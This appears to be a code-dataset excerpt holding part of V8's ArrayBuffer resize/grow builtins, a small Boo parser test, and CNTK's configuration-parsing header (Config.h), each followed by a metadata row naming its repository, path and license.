if (is_shared && new_byte_length < array_buffer->byte_length()) {
// GrowableSharedArrayBuffer is only allowed to grow.
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferResizeLength,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
if (new_byte_length > array_buffer->max_byte_length()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kInvalidArrayBufferResizeLength,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
size_t page_size = AllocatePageSize();
size_t new_committed_pages;
bool round_return_value =
RoundUpToPageSize(new_byte_length, page_size,
JSArrayBuffer::kMaxByteLength, &new_committed_pages);
CHECK(round_return_value);
// [RAB] Let hostHandled be ? HostResizeArrayBuffer(O, newByteLength).
// [GSAB] Let hostHandled be ? HostGrowArrayBuffer(O, newByteLength).
// If hostHandled is handled, return undefined.
// TODO(v8:11111): Wasm integration.
if (!is_shared) {
// [RAB] Let oldBlock be O.[[ArrayBufferData]].
// [RAB] Let newBlock be ? CreateByteDataBlock(newByteLength).
// [RAB] Let copyLength be min(newByteLength, O.[[ArrayBufferByteLength]]).
// [RAB] Perform CopyDataBlockBytes(newBlock, 0, oldBlock, 0, copyLength).
// [RAB] NOTE: Neither creation of the new Data Block nor copying from the
// old Data Block are observable. Implementations reserve the right to
// implement this method as in-place growth or shrinkage.
if (array_buffer->GetBackingStore()->ResizeInPlace(
isolate, new_byte_length, new_committed_pages * page_size) !=
BackingStore::ResizeOrGrowResult::kSuccess) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kOutOfMemory,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
// [RAB] Set O.[[ArrayBufferByteLength]] to newLength.
array_buffer->set_byte_length(new_byte_length);
} else {
// [GSAB] (Detailed description of the algorithm omitted.)
auto result = array_buffer->GetBackingStore()->GrowInPlace(
isolate, new_byte_length, new_committed_pages * page_size);
if (result == BackingStore::ResizeOrGrowResult::kFailure) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewRangeError(MessageTemplate::kOutOfMemory,
isolate->factory()->NewStringFromAsciiChecked(
kMethodName)));
}
if (result == BackingStore::ResizeOrGrowResult::kRace) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate,
NewRangeError(
MessageTemplate::kInvalidArrayBufferResizeLength,
isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
}
// Invariant: byte_length for a GSAB is 0 (it needs to be read from the
// BackingStore).
CHECK_EQ(0, array_buffer->byte_length());
}
return ReadOnlyRoots(isolate).undefined_value();
}
// ES #sec-get-sharedarraybuffer.prototype.bytelength
// get SharedArrayBuffer.prototype.byteLength
BUILTIN(SharedArrayBufferPrototypeGetByteLength) {
const char* const kMethodName = "get SharedArrayBuffer.prototype.byteLength";
HandleScope scope(isolate);
// 1. Let O be the this value.
// 2. Perform ? RequireInternalSlot(O, [[ArrayBufferData]]).
CHECK_RECEIVER(JSArrayBuffer, array_buffer, kMethodName);
// 3. If IsSharedArrayBuffer(O) is false, throw a TypeError exception.
CHECK_SHARED(true, array_buffer, kMethodName);
DCHECK_EQ(array_buffer->max_byte_length(),
array_buffer->GetBackingStore()->max_byte_length());
// 4. Let length be ArrayBufferByteLength(O, SeqCst).
size_t byte_length = array_buffer->GetByteLength();
// 5. Return F(length).
return *isolate->factory()->NewNumberFromSize(byte_length);
}
// ES #sec-arraybuffer.prototype.resize
// ArrayBuffer.prototype.resize(new_size))
BUILTIN(ArrayBufferPrototypeResize) {
const char* const kMethodName = "ArrayBuffer.prototype.resize";
constexpr bool kIsShared = false;
return ResizeHelper(args, isolate, kMethodName, kIsShared);
}
// ES #sec-sharedarraybuffer.prototype.grow
// SharedArrayBuffer.prototype.grow(new_size))
BUILTIN(SharedArrayBufferPrototypeGrow) {
const char* const kMethodName = "SharedArrayBuffer.prototype.grow";
constexpr bool kIsShared = true;
return ResizeHelper(args, isolate, kMethodName, kIsShared);
}
} // namespace internal
} // namespace v8
| C++ | 5 | EXHades/v8 | src/builtins/builtins-arraybuffer.cc | [
"BSD-3-Clause"
] |
"""
namespace CPlusPlusStyleComments
"""
namespace CPlusPlusStyleComments
| Boo | 0 | popcatalin81/boo | tests/testcases/parser/wsa/comments-4.boo | [
"BSD-3-Clause"
] |
//
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE.md file in the project root for full license information.
//
#pragma once
#include "Basics.h"
#include <vector>
#include <map>
#include <stdexcept>
#include <stdint.h>
#include "File.h"
#include "half.hpp"
using namespace std;
#pragma warning(disable : 4996) // Caused by the TODO below (line ~1280)
// helper for numeric parameter arguments for multiple layers
// This parses arguments of the form a:b*n:c where b gets duplicated n times and c unlimited times.
namespace Microsoft { namespace MSR { namespace CNTK {
#define FUNCTIONOPEN "("
#define OPENBRACES "[{(\"" // all opening braces
#define CLOSINGBRACES "]})\"" // and matching closing ones
static const std::string::size_type npos = (std::string::size_type) -1;
// These are the constants associated with the "ResolveVariables" method.
static const char* openBraceVar = "$"; // beginning of a var
static const char* closingBraceVar = "$"; // end of a var
static const char* forbiddenCharactersInVarName = ",/<>?;':\"[]{}\\|!@#%^&*()+=~` \t\n";
static const char* forbiddenCharactersInVarNameEscapeWhitespace = ",/<>?;':\"[]{}\\|!@#%^&*()+=~` \\t\\n";
static const std::size_t openBraceVarSize = strlen(openBraceVar);
static const std::size_t closingBraceVarSize = strlen(closingBraceVar);
// Trim - trim white space off the start and end of the string
// str - string to trim
// NOTE: if the entire string is empty, then the string will be set to an empty string
void Trim(std::string& str);
// TrimQuotes - trim surrounding quotation marks
// str - string to trim
void TrimQuotes(std::string& str);
class ConfigValue;
typedef std::map<std::string, ConfigValue, nocase_compare> ConfigDictionary;
class ConfigParameters;
std::string::size_type ParseKeyValue(const std::string& token,
std::string::size_type pos,
ConfigParameters& dict);
// ConfigValue - value of one configuration parameter
// Parses from string to resultant value on assignment. Basically a ConfigValue
// is a std::string with type casts to convert it to numeric types, boolean, etc.,
// by simply type-casting it or assigning it to a value of the desired type.
// ConfigParameters::ConfigDictionary is a collection of names ConfigValues,
// which know which collection they belong to (their 'parent').
// Often, they get constructed on the fly and passed around by value, e.g. in modified
// form or when falling back to a default value, without being added to the collection.
class ConfigValue : public std::string
{
// name of this configuration, e.g. for error messages, optional
std::string m_configName;
// we belong to this collection of ConfigValues
const ConfigParameters* m_parent;
public:
std::string Name() const
{
return m_configName;
}
const ConfigParameters* Parent() const
{
return m_parent;
}
void SetParent(const ConfigParameters* parent)
{
m_parent = parent;
}
protected:
// Constructor with a parent pointer. NOTE: this MUST be used with care.
// Parent lifetime must be longer than ConfigValue lifetime
ConfigValue(const std::string& val, const std::string& name, const ConfigParameters* parent)
: std::string(val)
{
m_configName = name;
m_parent = parent;
}
// only allow these classes to construct ConfigValues with parent pointers,
// they are meant as intermediate values only
friend class ConfigParameters;
friend class ConfigArray;
public:
ConfigValue(const std::string& val, const std::string& name)
: std::string(val), m_configName(name), m_parent(NULL)
{
}
ConfigValue(const std::string& val)
: std::string(val), m_parent(NULL)
{
}
// empty constructor so ConfigValue can be contained in a std::map (requires default constructor)
ConfigValue()
: m_parent(NULL)
{
}
// it auto-casts to the common types
// Note: This is meant to read out a parameter once to assign it, instead of over again.
#if 0
operator std::string() const { return *this; } // TODO: does not seem to work
#endif
operator const char*() const
{
return c_str();
}
operator std::wstring() const
{
return Microsoft::MSR::CNTK::ToFixedWStringFromMultiByte(*this);
}
operator double() const
{
// will be set to point to first character that failed parsing
char* ep;
double value = strtod(c_str(), &ep);
if (empty() || *ep != 0)
{
// check for infinity since strtod() can't handle it
if (*ep && _strnicmp("#inf", ep, 4) == 0)
{
return std::numeric_limits<double>::infinity();
}
RuntimeError("ConfigValue (double): invalid input string '%s'", c_str());
}
return value;
}
operator float() const
{
return (float) (double) *this;
}
operator half() const
{
return (half)(double)*this;
}
private:
long tolong() const
{
// will be set to point to first character that failed parsing
char* ep;
long value = strtol(c_str(), &ep, 10);
if (empty() || *ep != 0)
{
RuntimeError("ConfigValue (long): invalid input string '%s'", c_str());
}
return value;
}
unsigned long toulong() const
{
// will be set to point to first character that failed parsing
char* ep;
unsigned long value = strtoul(c_str(), &ep, 10);
if (empty() || *ep != 0)
{
RuntimeError("ConfigValue (unsigned long): invalid input string '%s'", c_str());
}
return value;
}
public:
operator short() const
{
long val = tolong();
short ival = (short) val;
if (val != ival)
{
RuntimeError("ConfigValue (short): integer argument expected");
}
return ival;
}
operator unsigned short() const
{
unsigned long val = toulong();
unsigned short ival = (unsigned short) val;
if (val != ival)
{
RuntimeError("ConfigValue (unsigned short): integer argument expected");
}
return ival;
}
operator int() const
{
long val = tolong();
int ival = (int) val;
if (val != ival)
{
RuntimeError("ConfigValue (int): integer argument expected");
}
return ival;
}
operator unsigned int() const
{
unsigned long val = toulong();
unsigned int ival = (unsigned int) val;
if (val != ival)
{
RuntimeError("ConfigValue (unsigned int): integer argument expected");
}
return ival;
}
//#if (SIZE_MAX != ULONG_MAX) // on x64 GCC unsigned long == size_t, i.e. we'd get an ambigous declaration
#ifdef _MSC_VER // somehow the above check does not work on GCC/Cygwin, causing an ambiguous declaration
operator unsigned long() const
{
return toulong();
}
operator long() const
{
return tolong();
}
#endif
operator int64_t() const
{
// will be set to point to first character that failed parsing
char* ep;
int64_t value = _strtoi64(c_str(), &ep, 10);
if (empty() || *ep != 0)
{
RuntimeError("ConfigValue (int64_t): invalid input string '%s'", c_str());
}
return value;
}
operator uint64_t() const
{
// will be set to point to first character that failed parsing
char* ep;
uint64_t value = _strtoui64(c_str(), &ep, 10);
if (empty() || *ep != 0)
{
RuntimeError("ConfigValue (uint64_t): invalid input string '%s'", c_str());
}
return value;
}
operator bool() const
{
const auto& us = *this;
if (us == "t" || us == "true" || us == "T" || us == "True" || us == "TRUE" || us == "1")
{
return true;
}
if (us == "f" || us == "false" || us == "F" || us == "False" || us == "FALSE" || us == "0" || us == "")
{
return false;
}
RuntimeError("ConfigValue (bool): boolean argument expected");
// TODO: do we want to allow accept non-empty strings and non-0 numerical values as 'true'?
}
// ReplaceAppend - replace an existing value with another value, or append if it appears to be a "set" type
ConfigValue& ReplaceAppend(const std::string& configValue)
{
static const std::string openBraces = "[";
// if we have openBraces, append (it's a group)
if (length() > 0 && openBraces.find(configValue[0]) != npos)
{
// append another value to the current value, add a space separator
append(" ");
append(configValue);
}
else
{
// otherwise replace
this->assign(configValue);
}
return *this;
}
};
// parse config parameters on separators, and keep track of configuration names
class ConfigParser
{
protected:
char m_separator;
mutable std::string m_configName; // name of this configuration, e.g. for error messages, optional
// parse at the file level, can be overridden for "section of file" behavior
virtual void FileParse(const std::string& stringParse)
{
Parse(stringParse);
}
public:
ConfigParser(char separator, const std::string& configname)
: m_separator(separator), m_configName(configname)
{
}
ConfigParser(char separator, const std::wstring& configname)
: m_separator(separator)
{
m_configName = Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(configname));
}
ConfigParser(char separator)
: m_separator(separator), m_configName("unknown")
{
}
ConfigParser(const ConfigParser& configParser)
{
m_separator = configParser.m_separator;
m_configName = configParser.m_configName;
}
ConfigParser(const ConfigParser&& configParser)
{
m_separator = configParser.m_separator;
m_configName = move(configParser.m_configName);
}
ConfigParser& operator=(const ConfigParser& configParser) = default;
public:
// FindBraces - parser helper function to find matching braces in a string starting at the
// current position (any leading whitespace must have been consumed).
// Basically this tokenizes an entire bracketed section into a single token.
// This function assumes that all the underlying languages involved have matching braces.
// Braces matched by this function are:
// - [ ... ]
// - { ... }
// - ( ... )
// - " ... " (yes)
// str - string to search
// tokenStart - start location in the string to search
// returns: character position of matching closing brace, string::npos if no brace present at start position
static size_t FindBraces(const std::string& str, const size_t tokenStart)
{
const auto len = str.length();
// start is outside (or rather, at end of string): no brace here
if (tokenStart >= len)
return npos;
// open braces and quote
static const std::string openBraces = OPENBRACES; // currently "[{(\""
// close braces and quote
static const std::string closingBraces = CLOSINGBRACES;
static const auto charsToLookFor = closingBraces + openBraces; // all chars we match for
// get brace index for first character of input string
const auto braceFound = openBraces.find(str[tokenStart]);
// no brace present at tokenStart
if (braceFound == npos)
return npos;
// string begins with a brace--find the closing brace, while correctly handling nested braces
std::string braceStack; // nesting stack; .back() is closing symbol for inner-most brace
braceStack.push_back(closingBraces[braceFound]); // closing symbol for current
// search for end brace or other nested layers of this brace type
for (auto current = tokenStart; current + 1 < len;)
{
// look for closing brace and also for another opening brace
// Inside strings we only accept the closing quote, and ignore any braces inside.
current = str.find_first_of(braceStack.back() == '"' ? "\"" : charsToLookFor, current + 1);
if (current == string::npos) // none found: error
break;
char brace = str[current];
// found the expected closing brace?
if (brace == braceStack.back())
{
braceStack.pop_back(); // yes: pop up and continue (or stop if stack is empty)
if (braceStack.empty()) // fully closed: done
return current;
}
// or any other closing brace? That's an error.
else if (brace != '"' && closingBraces.find(brace) != string::npos)
RuntimeError("unmatched bracket found in parameters");
// found another opening brace, push it on the stack
else
{
const auto braceFound2 = openBraces.find(brace); // index of brace
braceStack.push_back(closingBraces[braceFound2]); // closing symbol for current
}
}
// hit end before everything was closed: error
RuntimeError("no closing %c found in parameters", braceStack.back());
//RuntimeError("no closing bracket found in parameters (opening bracket at offset %d)\n%s", (int)tokenStart, str.substr(tokenStart).c_str());
}
// ParseValue - virtual function to parse a "token" as tokenized by Parse() below.
// Parse() calls into ParseValue() which is a virtual function that implements how an assignment token is to be processed.
virtual std::string::size_type ParseValue(const std::string& stringParse,
std::string::size_type tokenStart,
std::string::size_type tokenEnd) = 0;
// Parse - Break a string into "records" and pass each to a user-specified function, where
// - record separator is newline and an optional record separator character (such as semicolon)
// - leading and trailing white space is trimmed from records
// - nested blocks (braces, string literals) are honored: record separators inside braces or quotes are ignored
// In the simplest case, "records" are lines of text, e.g. the lines of a configuration file.
// Any further parsing of these lines, e.g. of the form a=b, is up to the user-specified ParseValue()).
// The above is subject to some special behaviors:
// - records that are complete brace expressions themselves are flattened,
// e.g. a ; [ x ; [ u ; v ] ] ; b emits the tokens "a", "x", "[ u ; v ]", and "b"
// This is meant for the case where the entire string is a brace expression (TODO: is that true? [fseide]).
// - the separator character can be changed inside a brace expression by appending the different separator
// right after the brace, e.g. [- a - b] will separate using '-' instead of ';'. TODO: document what this is used for.
// This function is used at lots of places for various purposes.
// - (ConfigParameters from file) config-file parsing passes in expressions of the type a1=b1 \n a2=b2 \n ...,
// creates a ConfigDictionary entry for each top-level a=b expression, where b can be a block in braces
// - (ConfigParameters) right-hand side that is an array of parameters [ a1=b1; a2=b2 ...], with surrounding braces
// - (ConfigValue) individual values are also parsed
// - (ConfigArray) same as ConfigValue--the array syntax (':') is not parsed here
// The above all allow ';' or newline as a separator
// - (NDLScript)
// - more to be added
// stringParse - string to parse
// pos - position to start parsing at
// m_separator - extra separator character between tokens, typically ';' (in addition to comma and newline)
void Parse(const std::string& stringParse, std::string::size_type pos = 0)
{
// set of record separator characters
std::string seps = ",\r\n"; // default separators
// and one extra caller-specified one (typically ';'). Note that this gets temporarily changed
// inside content level, see below.
seps += m_separator;
// set that includes both record separators and all open-brace characters
// OPENBRACES includes anything that requires a closing, including "
std::string sepsBraces = seps + OPENBRACES;
// set up for token loop
// current token's end
auto tokenEnd = pos;
const auto totalLength = stringParse.length();
auto braceEnd = totalLength;
// are we inside content? (=an outer level of braces)
bool contentLevel = false;
// loop over tokens
do
{
// consume separators (newline, comma, semicolon)
auto tokenStart = stringParse.find_first_not_of(seps, tokenEnd);
if (tokenStart == npos)
{
// no more tokens
break;
}
// consume any leading spaces
tokenStart = stringParse.find_first_not_of(" \t", tokenStart);
if (tokenStart == npos)
{
break;
}
// lex one token--this determines 'tokenEnd' (we already got 'tokenStart')
// First check whether we are in a braced condition (including ").
const auto braceEndFound = FindBraces(stringParse, tokenStart);
bool quoteFound = false;
// opening braces found
if (braceEndFound != npos)
{
// consume one level of braces right here, enter "content level" mode
if (!contentLevel && tokenStart + 1 < totalLength /*[fseide] why is this test necessary?*/)
{
// consume the opening brace
tokenStart++;
// check for custom separator character
// If the opening brace is immediately followed by any of the customSeparators,
// change m_separator (inside seps) to that character.
// The parser lets you change the default separator to something else. For example the default separator for an array is usually the ':' (I think)
// (12:45:23:46)
// However if you are using strings, and one of those strings contains a ':', you might want to change the separator to something else:
// (;this;is;a;path:;c:\mydir\stuff)
//
// This will fail for
// (..\dirname,something else)
// Hence there is an ugly fix for it below. This will go away when we replace all configuration parsing by BrainScript.
const static std::string customSeperators = "`~!@$%^&*_-+|:;,?.";
if (customSeperators.find(stringParse[tokenStart]) != npos && stringParse.substr(tokenStart).find("..") != 0 && stringParse.substr(tokenStart).find(".\\") != 0 && stringParse.substr(tokenStart).find("./") != 0 && stringParse.substr(tokenStart).find("\\\\") != 0 // [fseide] otherwise this will nuke leading . or .. or \\ in a pathname... Aargh!
)
{
char separator = stringParse[tokenStart];
// this was m_separator; on content level, we change it to a custom separator (it gets changed back when we exit content level)
seps[seps.length() - 1] = separator;
sepsBraces = seps + OPENBRACES;
// consume the separator
tokenStart++;
}
braceEnd = braceEndFound;
tokenEnd = tokenStart;
// now at content level
contentLevel = true;
// this sort of "recursively" calls ourselves with contentLevel flag set. [fseide] does this make sense for strings??
continue;
}
// content level braces: just find the end of the braces, and that's our token
if (stringParse[braceEndFound] == '"') // special case for strings
{
// for quoted string we skip the quotes
tokenStart++;
// position of closing "
tokenEnd = braceEndFound;
// tells code below to consume the closing "
quoteFound = true;
}
else
{
// a regular brace: the entire brace expression becomes the token, including the braces themselves
// tokenEnd is one past the character we want
tokenEnd = braceEndFound + 1;
}
}
else
{
// not braces
// find the end of the token
tokenEnd = stringParse.find_first_of(sepsBraces, tokenStart);
// now look for contained braces before the next break
if (tokenEnd != npos)
{
const auto braceEndFound2 = FindBraces(stringParse, tokenEnd);
// found an embedded brace, extend token to the end of the braces
if (braceEndFound2 != npos)
{
// token includes the closing brace
tokenEnd = braceEndFound2 + 1;
}
}
// no more seperators
if (tokenEnd == npos || tokenEnd > braceEnd)
{
// use the length of the string as the boundary
tokenEnd = braceEnd;
if (tokenStart >= totalLength)
{
// if nothing left, we are done
break;
}
}
}
// token has been determined to range from tokenStart to tokenEnd
// now parse the value in a caller-specific fashion (through a virtual call into our host class)
if (tokenEnd > tokenStart)
{
tokenEnd = ParseValue(stringParse, tokenStart, tokenEnd);
}
// prepare to advance to next token
// if we hit the end of a brace block, move past the ending brace and reset
if (tokenEnd == braceEnd)
{
// consume closing brace
tokenEnd++;
braceEnd = totalLength;
// restore default separator
seps[seps.length() - 1] = m_separator;
sepsBraces = seps + OPENBRACES;
// pop out of content level
contentLevel = false;
}
if (quoteFound)
{
// skip the closing quote
tokenEnd++;
}
// While we have tokens to parse
} while (tokenEnd != npos);
}
// StripComments - This method removes the section of a config line corresponding to a comment.
// configLine - The line within a config file to pre-process.
// returns:
// If the entire line is whitespace, or if the entire line is a comment, simply return an empty string.
// If there is no comment, simply return the original 'configString'
// If there is a comment, remove the part of 'configString' corresponding to the comment
// Note that midline comments need to be preceded by whitespace, otherwise they are not treated as comments.
static std::string StripComments(const std::string& configLine)
{
std::string::size_type pos = configLine.find_first_not_of(" \t");
// entire line is whitespace, or it is a full line comment.
if (pos == std::string::npos || configLine[pos] == '#')
{
return "";
}
// search for a comment mid line
std::string::size_type midLineCommentPos = configLine.find_first_of('#', pos);
// if there is no comment, simply return original string
if (midLineCommentPos == std::string::npos)
{
return configLine;
}
// if we have a mid-line comment, make sure it's preceded by a whitespace character
// otherwise, don't treat this midline comment as a comment.
// this should be safe because midLineCommentPos is guaranteed to be > 0
char chPrev = configLine[midLineCommentPos - 1];
return (chPrev == ' ' || chPrev == '\t') ? configLine.substr(pos, midLineCommentPos - pos) : configLine;
}
std::string ReadConfigFile(const std::string& filePath);
std::string ReadConfigFile(const std::wstring& filePath);
std::string ReadConfigFiles(const std::string& filePaths);
std::string ReadConfigFiles(const std::wstring& filePaths);
std::string ResolveIncludeStatements(const std::string& configString, std::vector<std::string>& resolvedConfigFiles);
void LoadConfigFile(const std::wstring& filePath);
void LoadConfigFileAndResolveVariables(const std::wstring& filePath, const ConfigParameters& config);
void LoadConfigFiles(const std::wstring& filePaths, const std::string* configStringToAppend = nullptr);
void SetName(const std::wstring& name)
{
m_configName = Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name));
}
void SetName(const std::string& name)
{
m_configName = name;
}
std::string Name() const
{
return m_configName;
}
};
// dictionary of parameters
// care should be used when using this class it has parent links to stack variables
// which are assumed to exist and have lifetimes that are allocated and freed in a FIFO manner.
// If this is not the case for a particular variable (stored in a class or something), you must
// call ClearParent() to disconnect it from it's parents before they are freed.
// usage: This class is intended to be used as local variables where the "parent"
// parameters have lifetimes longer than the "child" parameters
// for example:
// int wmain(int argc, wchar_t* argv[]) {
// ConfigParameters config = ConfigParameters::ParseCommandLine(argc, argv);
// A(config);
// }
// void A(const ConfigParameters& config) {ConfigParameters subkey1 = config("a"); /* use the config params */ B(subkey);}
// void B(const ConfigParameters& config) {ConfigParameters subkey2 = config("b"); /* use the config params */}
class ConfigParameters : public ConfigParser, public ConfigDictionary
{
// WARNING: the parent pointer use requires parent lifetimes be longer than or equal to children.
const ConfigParameters* m_parent;
public:
// empty constructor
ConfigParameters()
: ConfigParser(';'), m_parent(NULL)
{
// parameterless version for subConfig Dictionaries
}
// construct ConfigParameters from a ConfigValue, propagate the config Name, and parent pointer
ConfigParameters(const ConfigValue& configValue)
: ConfigParser(';', configValue.Name()), m_parent(configValue.Parent())
{
std::string configString = configValue;
Parse(configString);
}
// private:
// copy and move constructors
ConfigParameters(const ConfigParameters& configValue)
: ConfigParser(configValue)
{
*this = configValue;
}
ConfigParameters(const ConfigParameters&& configValue)
: ConfigParser(move(configValue))
{
*this = move(configValue);
}
ConfigParameters& operator=(const ConfigParameters& configValue)
{
this->ConfigParser::operator=(configValue);
this->ConfigDictionary::operator=(configValue);
this->m_parent = configValue.m_parent;
return *this;
}
ConfigParameters& operator=(const ConfigParameters&& configValue)
{
this->ConfigParser::operator=(configValue);
this->ConfigDictionary::operator=(configValue);
this->m_parent = configValue.m_parent;
return *this;
}
private:
// hide new so only stack allocated --TODO: Why do we care?
void* operator new(size_t /*size*/);
public:
// used as default argument to operator(id, default) to retrieve ConfigParameters
static const ConfigParameters& Record()
{
static ConfigParameters emptyParameters;
return emptyParameters;
}
// to retrieve an array, pass e.g. Array(floatargvector()) as the default value
template <class V>
static const V& Array(const V& vec)
{
return vec;
}
// get the names of all members in this record (but not including parent scopes)
vector<wstring> GetMemberIds() const
{
vector<wstring> ids;
for (auto iter = begin(); iter != end(); ++iter)
{
ids.emplace_back(Microsoft::MSR::CNTK::ToFixedWStringFromMultiByte(iter->first));
}
return ids;
}
bool CanBeConfigRecord(const wstring& /*id*/) const
{
return true;
}
bool CanBeString(const wstring& /*id*/) const
{
return true;
}
public:
// explicit copy function. Only to be used when a copy must be made.
// this also clears out the parent pointer, so only local configs can be used
ConfigParameters& CopyTo(ConfigParameters& copyTo) const
{
copyTo = *this;
copyTo.ClearParent();
return copyTo;
}
// clear the parent link, important when storing ConfigParameters in a
// class where parent lifetime is not guaranteed
void ClearParent()
{
m_parent = NULL;
}
const ConfigParameters* GetParent() const
{
return m_parent;
}
// parse a 'key=value' pair and insert in the ConfigDictionary
std::string::size_type ParseValue(const std::string& stringParse,
std::string::size_type tokenStart,
std::string::size_type tokenEnd)
{
// skip leading spaces
tokenStart = stringParse.find_first_not_of(" \t", tokenStart);
auto keyEnd = stringParse.find_first_of("=" OPENBRACES, tokenStart);
std::string value;
// if no value is specified, it's a boolean variable and set to true
if (keyEnd == npos || keyEnd >= tokenEnd)
{
auto key = stringParse.substr(tokenStart, tokenEnd - tokenStart);
Trim(key);
value = "true";
if (!key.empty())
{
Insert(key, value);
}
return tokenEnd;
}
// get the key
// As a special case, we will get an empty key when parsing a macro definition.
auto key = stringParse.substr(tokenStart, keyEnd - tokenStart);
Trim(key);
tokenStart = keyEnd;
if (stringParse[keyEnd] == '=')
{
++tokenStart;
}
// skip any spaces before the second token
tokenStart = stringParse.find_first_not_of(" \t", tokenStart);
std::string::size_type substrSize = tokenEnd - tokenStart;
auto bracesEnd = FindBraces(stringParse, tokenStart);
// if braces found, we modify the token end according to braces
if (bracesEnd != npos)
{
// include the trailing brace
tokenEnd = bracesEnd + 1;
substrSize = tokenEnd - tokenStart;
// for quote delimited string remove quotes
if (stringParse[tokenStart] == '"')
{
tokenStart++;
substrSize -= 2; // take out the quotes
}
//else if (substrSize == 0)
//{
// InvalidArgument("ParseValue: No value given for '%s'.", key.c_str());
// //return npos;
//}
// Not a quoted string: It's an empty section. Nothing wrong with that, is it?
}
else if (substrSize == 0)
{
InvalidArgument("ParseValue: No value given for '%s'.", key.c_str());
}
// get the value
value = stringParse.substr(tokenStart, substrSize);
Trim(value);
// add the value to the dictionary
if (!key.empty()) // in NDL macro definitions, we get called with cursor on the '='
Insert(key, value);
return tokenEnd;
}
// Insert - insert a new name and value into the dictionary
void Insert(const std::wstring& name, const std::string& val)
{
Insert(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)), val);
}
// Insert - insert a new name and value into the dictionary
void Insert(const std::string& name, const std::string& val)
{
auto iter = find(name);
if (iter != end())
{
// replace or append the value
iter->second.ReplaceAppend(val);
}
else
{
std::string fullName = m_configName + ":" + name;
auto res = ConfigDictionary::insert(std::make_pair(name, ConfigValue(val, fullName, this)));
if (!res.second)
{
// no insertion was made
RuntimeError("configparameters: duplicate parameter definition for %s", fullName.c_str());
}
}
}
// Insert - insert an 'name=value' string into the dictionary
void Insert(const std::string& str)
{
ParseValue(str, 0, str.length());
}
bool Exists(const std::wstring& name) const
{
return Exists(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)));
}
bool Exists(const std::string& name) const
{
if (find(name) != end())
{
return true;
}
// now check parent if we have one
if (m_parent != NULL)
{
return m_parent->Exists(name);
}
return false;
}
// ExistsCurrent - check to see if a key exists in THIS config, don't check parent
bool ExistsCurrent(const std::string& name) const
{
return (find(name) != end());
}
bool ExistsCurrent(const wchar_t* name) const
{
return ExistsCurrent(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)));
}
// dict(name, default) for strings
ConfigValue operator()(const std::wstring& name,
const wchar_t* defaultvalue) const
{
return operator()(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)), defaultvalue);
}
// dict(name, default) for strings
ConfigValue operator()(const std::string& name,
const wchar_t* defaultvalue) const
{
return operator()(name, Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(defaultvalue)).c_str());
}
// dict(name, default) for strings
ConfigValue operator()(const std::wstring& name,
const char* defaultvalue) const
{
return operator()(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)), defaultvalue);
}
// dict(name, default) for strings
ConfigValue operator()(const std::string& name,
const char* defaultvalue) const
{
ConfigValue value = Find(name, defaultvalue);
return value;
}
// version for defaults with types
template <typename Type>
Type operator()(const wchar_t* name,
const Type& defaultValue) const
{
// find the value
// TODO: unify with the Find() function below
for (auto* dict = this; dict; dict = dict->m_parent)
{
auto iter = dict->find(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)));
if (iter != dict->end())
{
if (iter->second == "default")
break; // use the default value
return (Type) iter->second;
}
}
// we get here if no dict in the chain contains the entry, or if the entry's string value says "default"
return defaultValue;
}
// Look up a variable through the nested hierarchy. If not found, return false, and 'result'is untouched.
bool TryFind(const std::string& name, ConfigValue& result, const char* defaultvalue = NULL) const
{
auto iter = find(name);
// if we aren't found, or they want the default value
// TODO: What the hell is this?
if (iter == end() || iter->second == "default")
{
// not found but the parent exists, check there
if (iter == end() && m_parent != NULL)
{
result = m_parent->Find(name, defaultvalue);
return true;
}
else if (defaultvalue != NULL)
{
// no parent, so use default value
std::string fullName = m_configName + ":" + name;
result = ConfigValue(defaultvalue, fullName, this);
return true;
}
}
else
{
std::string rhs = iter->second;
rhs = this->ResolveVariables(rhs);
std::string fullName = m_configName + ":" + name;
result = ConfigValue(rhs, fullName, this);
return true;
}
return false; // not found
}
// Look up a variable using TryFind() above. If not found, return empty string.
ConfigValue Find(const std::string& name, const char* defaultvalue = NULL) const
{
ConfigValue result;
TryFind(name, result, defaultvalue); // (if returns false, we return an empty ConfigValue)
return result;
}
// ResolveVariablesInSingleLine - In this method we replace all substrings of 'configLine' of the form "$varName$"
// (where varName is a variable name), with the value of the "varName" variable in config.
// We search up the config tree for the value, and we throw an error if we don't find it.
// Note that this process is recursive. Take the following example: A=1; B=$A$; C=$B$.
// In this example, calling ResolveVariables with $B$, would see B=$A$, then look up the value
// of A and see A=1, and it would then replace the string "$B$" with the string "1".
// Note that this method ignores comments in 'configString' (though they should probably already be
// removed from 'configString' before calling this method).
// Variables must begin with a letter; e.g. $1 does not trigger.
// If an opening "$" is found without a closing "$", an exception is thrown.
// BUGBUG: This does not allow to deliver a string value to a config parameter that contains a $ sign followed by a letter.
// configString - the string that you would like to resolve variables in.
// returns: A copy of 'configString' with all the variables resolved.
std::string ResolveVariablesInSingleLine(const std::string& configLine) const
{
// ensure that this method was called on a single line (eg, no newline characters exist in 'configLine').
if (configLine.find_first_of("\n") != std::string::npos)
LogicError("ResolveVariablesInSingleLine() should not be called with a string containing a newline character");
std::string newConfigLine = StripComments(configLine);
std::size_t start = newConfigLine.find_first_of(openBraceVar);
